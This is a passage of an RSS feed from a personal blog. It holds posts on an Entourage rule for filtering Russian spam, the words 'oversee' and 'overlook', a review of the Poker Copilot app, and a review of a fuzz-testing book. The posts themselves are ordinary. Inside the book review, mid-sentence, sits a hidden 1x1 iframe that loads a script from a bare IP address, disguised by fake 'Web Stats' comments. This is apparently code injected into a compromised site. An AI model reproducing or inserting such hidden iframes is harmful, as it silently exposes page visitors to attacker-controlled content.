<li>Open your rules (Tools → Rules) and create a new rule.</li>
<li>In the criterion section, choose &#8220;Subject&#8221; and &#8220;Contains&#8221; and then paste your small Russian word in the box.</li>
<li>Add some actions. I use:
<ul>
<li>Change Status: Junk E-mail</li>
<li>Move Message: Junk E-mail</li>
<li>Remove Attachments</li>
</ul>
</li>
<li>Go ahead and save the rule</li>
</ol>
<p>If you want to add another small word (I also filter on <strong><span style="color: #993300;">это</span></strong>), you can copy and paste it the same way. In my case, I didn&#8217;t have this blog post to copy from. I had to copy from the message in Entourage, and that was a pain. Entourage wouldn&#8217;t let me copy from the message while I was in the rules editor.</p>
<p>Here&#8217;s my finished rule:</p>
<div id="attachment_331" class="wp-caption alignnone" style="width: 574px"><img class="size-full wp-image-331" title="Entourage Rule that Deletes Russian Spam" src="http://paco.to/wp-content/uploads/2009/05/russianspam3.png" alt="Complete Entourage Rule that Deletes Russian Spam" width="564" height="340" /><p class="wp-caption-text">Complete Entourage Rule that Deletes Russian Spam</p></div>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=328</wfw:commentRss>
		</item>
		<item>
		<title>See and Look</title>
		<link>http://paco.to/?p=324</link>
		<comments>http://paco.to/?p=324#comments</comments>
		<pubDate>Thu, 07 May 2009 13:17:05 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Fun Stuff]]></category>

		<category><![CDATA[funny]]></category>

		<category><![CDATA[homonyms]]></category>

		<category><![CDATA[language]]></category>

		<guid isPermaLink="false">http://paco.to/?p=324</guid>
		<description><![CDATA[In English, &#8220;see&#8221; and &#8220;look&#8221; have very similar meanings, while &#8220;oversee&#8221; and &#8220;overlook&#8221; have almost opposite meanings. I find this amusing. It&#8217;s even more amusing when it shows up on a resume like the one I saw today:
I overlooked a team of five doing blah, blah, blah&#8230;
So, did this person fail to notice a team [...]]]></description>
			<content:encoded><![CDATA[<p>In English, &#8220;see&#8221; and &#8220;look&#8221; have very similar meanings, while &#8220;oversee&#8221; and &#8220;overlook&#8221; have almost opposite meanings. I find this amusing. It&#8217;s even more amusing when it shows up on a resume like the one I saw today:</p>
<blockquote><p>I overlooked a team of five doing blah, blah, blah&#8230;</p></blockquote>
<p>So, did this person fail to notice a team of five that was doing a lot of important work? Or did he actually mean that he &#8220;oversaw&#8221; them? <img src='http://paco.to/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I also notice that we can have an insight, but not an outsight. We can have an outlook, but not an inlook. We can oversee and overlook, but we can&#8217;t undersee or underlook, unless we are perhaps undersea.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=324</wfw:commentRss>
		</item>
		<item>
		<title>Poker Copilot: The only poker helper for Mac users?</title>
		<link>http://paco.to/?p=320</link>
		<comments>http://paco.to/?p=320#comments</comments>
		<pubDate>Fri, 01 May 2009 22:36:42 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Fun Stuff]]></category>

		<category><![CDATA[Hobbies]]></category>

		<guid isPermaLink="false">http://paco.to/?p=320</guid>
		<description><![CDATA[I&#8217;ve done a bunch of work in online poker lately (for Cigital), and so it&#8217;s important for me to improve my game to where I&#8217;m not just one of the fish. I was keen to try some of the software that&#8217;s out there, but I&#8217;m a Mac user. I&#8217;m not going to use Windows just [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve done a bunch of work in online poker lately (<a href="http://www.cigital.com/resources/gaming/" target="_top">for Cigital</a>), and so it&#8217;s important for me to improve my game to where I&#8217;m not just one of the fish. I was keen to try some of the software that&#8217;s out there, but I&#8217;m a Mac user. I&#8217;m not going to use Windows just to play poker, especially when both <a href="http://www.pokerstars.com/">PokerStars</a> and <a href="http://www.fulltiltpoker.com/">FullTilt Poker</a> offer Mac native clients. That&#8217;s where <a href="http://www.pokercopilot.com/">Poker Copilot</a> comes in. I tried a couple others, but they seemed too limited, too &#8220;beta,&#8221; for my purposes. <span id="more-320"></span>The first revelation I had was when I started graphing my bankroll. I&#8217;m playing microlimit stakes (though I don&#8217;t include the axes here so you can&#8217;t tell just how much I&#8217;m playing, winning, losing, etc.).</p>
<div id="attachment_321" class="wp-caption alignright" style="width: 160px"><a href="http://paco.to/wp-content/uploads/2009/05/pokerchart.png"><img class="size-thumbnail wp-image-321" title="BankrollChart" src="http://paco.to/wp-content/uploads/2009/05/pokerchart-150x150.png" alt="Bankroll Chart" width="150" height="150" /></a><p class="wp-caption-text">Bankroll Chart</p></div>
<p>That chart brought into sharp contrast where I was doing well and where I wasn&#8217;t. I think I am often less objective than I should be about my money, and this is just the exposure I need.</p>
<p>I think a lot of people probably like the heads-up display that shows you real-time feedback about yourself and your opponents. I watch myself a lot more than my opponents, because I can&#8217;t count on my own behavior, yet. I&#8217;m still learning whether I&#8217;m seeing too many flops, playing too many weak hands, trying to bluff when I have no idea what I&#8217;m doing, etc.</p>
<h2>The Good</h2>
<ul>
<li>It works. Just point it at your history files and off you go.</li>
<li>Steve has clearly understood good graphic design, or at least some of the elements of, say, Edward Tufte. The &#8220;dashboard&#8221; gives some really simple line graphs with no axes that give you an instant feel for the way you&#8217;re trending.</li>
<li>It&#8217;s real-time. You&#8217;re getting feedback while you play. Anyone who knows anything about learning will tell you that the closer the feedback is to the action (whether good or bad), the better you learn. Doing post-mortem analysis of a session later imparts different (not less valuable, but different) lessons.</li>
<li>I find the heads-up display really informative. Again, I&#8217;m pretty much a novice, so almost anything helps me.</li>
</ul>
<h2>Areas for Improvement</h2>
<ul>
<li>As a micro-stakes guy, I&#8217;m not sure I can justify the price. I go back and forth on it. I think at $15 or $20 I&#8217;d buy it without hesitation. At $50, though, it makes me pause.</li>
<li>Despite the fact that I&#8217;m not getting the most out of the features it already has, I still feel sorta second-class. That is, the Windows people have more features (not that I would know what to do with them if I had them).</li>
</ul>
<p>I hope more Mac people get into online poker so the demand will be there for rich and useful helpers. I&#8217;m guessing the demand is far weaker than for the Windows-based ones, which is a shame.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=320</wfw:commentRss>
		</item>
		<item>
		<title>Book Review:</title>
		<link>http://paco.to/?p=316</link>
		<comments>http://paco.to/?p=316#comments</comments>
		<pubDate>Fri, 24 Apr 2009 02:49:20 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Books]]></category>

		<category><![CDATA[Software Testing]]></category>

		<category><![CDATA[fuzz testing]]></category>

		<category><![CDATA[fuzzing]]></category>

		<guid isPermaLink="false">http://paco.to/?p=316</guid>
		<description><![CDATA[I recently read Ari Takanen&#8217;s Fuzzing for Software Security Testing and Quality Assurance. This is a valuable   book on fuzz testing, and timely.
Good Things

He really puts fuzzing in context. Fuzz testing has been around for a long time, and this book gives you the full historical perspective, as well as a modern view.
Fuzz [...]]]></description>
			<content:encoded><![CDATA[<p>I recently read Ari Takanen&#8217;s <a href="http://www.amazon.com/gp/product/1596932147?ie=UTF8&amp;tag=pacohope-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=1596932147">Fuzzing for Software Security Testing and Quality Assurance</a>. This is a valuable<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> book on fuzz testing, and timely.<span id="more-316"></span></p>
<div class="wp-caption alignright" style="width: 88px"><a href="http://www.amazon.com/gp/product/1596932147?ie=UTF8&amp;tag=pacohope-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=1596932147"><img style="border: 0pt none;" title="Fuzzing for Software Security Testing and Quality Assurance" src="/images/fuzzing-book.jpg" border="0" alt="" width="78" height="110" /></a><p class="wp-caption-text">Fuzzing for Software Security Testing and Quality Assurance</p></div>
<h2>Good Things</h2>
<ul>
<li>He really puts fuzzing in context. Fuzz testing has been around for a long time, and this book gives you the full historical perspective, as well as a modern view.</li>
<li>Fuzz testing is important. When Gary McGraw and company did their <a href="http://bsi-mm.com/" target="_blank">Building Security In Maturity Model</a>, one of the activities that virtually everyone did was fuzz testing. Clearly we need books like this to get everyone onboard.</li>
<li>Although Ari is CTO of <a href="http://www.codenomicon.com/" target="_blank">Codenomicon</a>, a commercial fuzz testing tool vendor, the book is not a pitch for his tool. He actually gives lots and lots of information on a broad variety of tools, including free tools. It&#8217;s a complete and honest vision that is not overly promoting his company&#8217;s product.</li>
<li>I learned a lot of fundamentals that make a difference to how I fuzz test things. For example, I now understand mutational versus generational fuzzers. They each have benefits and you probably want some of both for good coverage.</li>
</ul>
<h2>The Not-So-Good</h2>
<ul>
<li>I think he spends too much time talking about motherhood and apple pie security things. Things like security testing, risk analysis, code analysis, etc. There have been ample trees killed on these topics and I don&#8217;t think the treatment in this book really adds to that body of knowledge. I would have been happier with just some references to the rest of the world.</li>
<li>The comparisons of commercial and free tools are intermixed with all this extra security discussion. So sometimes you have to read about security metrics or some other broad topic in order to find a specific example of a specific tool.</li>
<li>The authors&#8217; perspective is too much <em>fuzzing über alles</em>. They downplay the value of techniques like static code analysis and architecture risk analysis. Those techniques are complementary, not counter, to fuzz testing.</li>
</ul>
<p>I like the book a lot and am glad I have it. I recommend it.</p>
<p><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=pacohope-20&amp;l=as2&amp;o=1&amp;a=1596932147" border="0" alt="" width="1" height="1" /></p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=316</wfw:commentRss>
		</item>
	</channel>
</rss>
